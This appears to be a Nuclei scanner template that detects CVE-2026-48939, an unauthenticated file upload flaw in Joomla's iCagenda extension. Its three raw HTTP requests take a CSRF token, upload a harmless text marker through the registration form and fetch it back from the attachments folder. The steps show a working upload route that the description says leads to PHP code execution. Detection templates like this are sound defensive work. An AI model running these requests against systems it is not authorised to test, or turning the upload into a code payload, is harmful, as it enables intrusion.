id: CVE-2026-48939

info:
  name: "Joomla - Arbitrary File Upload"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in the iCagenda extension for Joomla allows the upload of arbitrary files in the file
    attachment feature, ultimately resulting in PHP code upload and execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-48939&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48939
    cwe-id: CWE-434
  metadata:
    verified: false
  tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev
variables:
  marker: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /administrator/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "icagenda") || contains(body, "iCagenda")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'

  - raw:
      - |
        POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939
        X-Requested-With: XMLHttpRequest
        Referer: {{BaseURL}}/

        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="{{csrf}}"

        1
        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="jform[attachment]"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-48939-FILE-UPLOAD-CONFIRMED
        ------iCagendaBoundary48939--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 303'
        internal: true

  - raw:
      - |
        GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")'
        condition: and